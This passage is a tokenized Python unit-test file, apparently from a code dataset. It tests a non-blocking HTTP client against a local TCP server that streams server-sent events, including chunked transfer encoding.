"\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "21", ":", "3", "5", ":", "25", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Conten", "t", "-", "Type", ":", " ", "text", "/", "event", "-", "stream", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Cache", "-", "Control", ":", " ", "no", "-", "cache", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Connect", "ion", ":", " ", "close", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "beta_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "client", "ing_", "._", "Responde", "nt_", "(_", "msg_", "=_", "beta_", "._", "rx", "bs_", ",_", "method_", "=_", "method_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "retr", "y", ":", " ", "1000", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "data", ":", " ", "START", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "data", ":", " ", "1", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "data", ":", " ", "2", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "data", ":", " ", "3", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "data", ":", " ", "4", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "=_", "Timer_", "(_", "duration_", "=_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "response_", "._", "parser_", "and_", "not_", "timer_", "._", "expired_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "response_", "._", "parser_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "._", "parser_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parser_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "._", "dict", "ify_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "event", "Source_", "._", "retry_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "retry_", ",_", "response_", "._", "event", "Source_", "._", "retry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "event", "Source_", "._", "lei", "d_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "lei", "d_", ",_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "events_", ")_", ">_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "None_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "START", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "None_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "1", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "None_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "2", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "body_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "event", "Source_", "._", "raw_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Non", "Block", "ing", "Request", "Stream", "Chunk", "ed_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Non", "Block", "ing", " ", "Http", " ", "client", " ", "with", " ", "SSE", " ", "stream", "ing", " ", "server", " ", "with", " ", "transfer", " ", "encoding", " ", "(", "chunked", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Non", "Block", "ing", "Request", "Stream", "Chunk", "ed_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "tcp_", "._", "Client_", "(_", "ha_", "=_", "alpha_", "._", "eh", "a_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connected_", "and_", "beta_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ca_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ha_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Request", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "u", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "606", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "GET", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "stream", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "client", "ing_", "._", "Requeste", "r_", "(_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "request_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "GET", " ", "/", "stream", " ", "HTTP", "/", "1.1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", ":", " ", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "line_", ",_", "request_", "._", "lines_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "request_", "._", "head_", ",_", "b", "'", "GET", " ", "/", "stream", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "Out_", ",_", "request_", "._", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "beta_", "._", "tx", "es_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Tx", "es_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Conten", "t", "-", "Type", ":", " ", "text", "/", "event", "-", "stream", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Cache", "-", "Control", ":", " ", "no", "-", "cache", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Transfer", "-", "Enco", "ding", ":", " ", "chunked", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "20", ":", "11", ":", "3", "5", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "beta_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "client", "ing_", "._", "Responde", "nt_", "(_", "msg_", "=_", "beta_", "._", "rx", "bs_", ",_", "method_", "=_", "method_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "d", "\\\\", "r", "\\\\", "nre", "try", ":", " ", "1000", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "d", "\\\\", "r", "\\\\", "ndata", ":", " ", "START", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "9", "\\\\", "r", "\\\\", "ndata", ":", " ", "1", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "9", "\\\\", "r", "\\\\", "ndata", ":", " ", "2", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "9", "\\\\", "r", "\\\\", "ndata", ":", " ", "3", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "9", "\\\\", "r", "\\\\", "ndata", ":", " ", "4", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "=_", "Timer_", "(_", "duration_", "=_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "response_", "._", "parser_", "and_", "not_", "timer_", "._", "expired_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "response_", "._", "parser_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "._", "parser_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parser_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "._", "dict", "ify_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "event", "Source_", "._", "retry_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "retry_", ",_", "response_", "._", "event", "Source_", "._", "retry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "event", "Source_", "._", "lei", "d_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "lei", "d_", ",_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "events_", ")_", ">_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "None_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "START", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "None_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "1", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "None_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "2", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", 